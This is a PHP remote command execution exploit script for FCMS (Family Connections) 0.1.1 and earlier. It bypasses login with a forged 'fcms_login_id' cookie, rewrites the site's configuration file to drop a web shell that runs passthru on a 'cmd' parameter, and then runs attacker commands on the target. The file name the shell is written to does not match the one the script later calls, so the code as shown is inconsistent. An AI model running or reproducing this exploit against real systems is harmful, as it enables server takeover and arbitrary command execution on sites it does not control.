#!/usr/bin/php -q -d short_open_tag=on
<?
echo "

FCMS (Family Connections) <= 0.1.1 Remote Command Execution Exploit

AUTHOR: ilker kandemir <ilkerkandemir[at]mynet.com>

DOWNLOAD:http://sourceforge.net/project/showfiles.php?group_id=189733

Thanks to rgod for the php code and Ajann for helps

";
if ($argc<3) {
echo "Usage: php ".$argv[0]." Host Path CMD
Host: target server (ip/hostname)
Path: path of FCMS

Example:
php ".$argv[0]." localhost /FCMS/ dir";

die;
}
/*
The problem is in index.php:

{
if (isset($_COOKIE['fcms_login_id'])) {
$_SESSION['login_id'] = $_COOKIE['fcms_login_id'];
}

This exploit create a ilker.php shell on the victim site

*/

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy…';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy…\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy…';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$cmd="";
for ($i=3; $i<=$argc-1; $i++){
$cmd.=" ".$argv[$i];
}
$cmd=urlencode($cmd);

$port=80;
$proxy="";

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error… check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

echo "Step0 - See If ilker.php already exists…\r\n";
$packet="GET ".$p."ilker.php?cmd=$cmd HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: cmd=$cmd\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (strstr($html,"666999"))
{
echo "Exploit succeeded…\r\n";
$temp=explode("666999",$html);
die("\r\n".$temp[1]."\r\n");
}

echo "Step1 - Retrieving Configuration\r\n";
$packet="GET ".$p."index.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: admin=ilker\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
$temp=explode("<textarea name=\"content\" cols=\"80\" rows=\"20\">", $html);
$config_file=explode("</textarea><br /><input type=\"submit\" /></form>", $temp[1]);
$new_file = str_replace('?>', '
$fp=fopen(\'piggy_marty.php\',\'w\');
fputs($fp,\'<?php error_reporting(0);
set_time_limit(0);
if (get_magic_quotes_gpc()) {
$_GET[cmd]=stripslashes($_GET[cmd]);
}
echo 666999;
passthru($_GET[cmd]);
echo 666999;
?>\');
fclose($fp);
chmod(\'ilker.php\',777);
?>', $config_file[0]);

echo "Step2 - Uploading New Data…\r\n";
$data="content=".urlencode($new_file);
$packet="POST ".$p."index.php HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*\r\n";
$packet.="Referer: http://".$host.$path."index.php\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: fcms_login_id=ilker\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cache-Control: no-cache\r\n\r\n";
$packet.=$data;
sendpacketii($packet);

echo "Step3 - Executing Shell Maker\r\n";
$packet="GET ".$p."index.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: \r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
sleep(3);
echo "Step4 - Executing Shell…\r\n";
$packet="GET ".$p."ilker.php?cmd=$cmd HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: cmd=$cmd\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (strstr($html,"666999"))
{
echo "Exploit succeeded…\r\n";
$temp=explode("666999",$html);
die("\r\n".$temp[1]."\r\n");
}

?>

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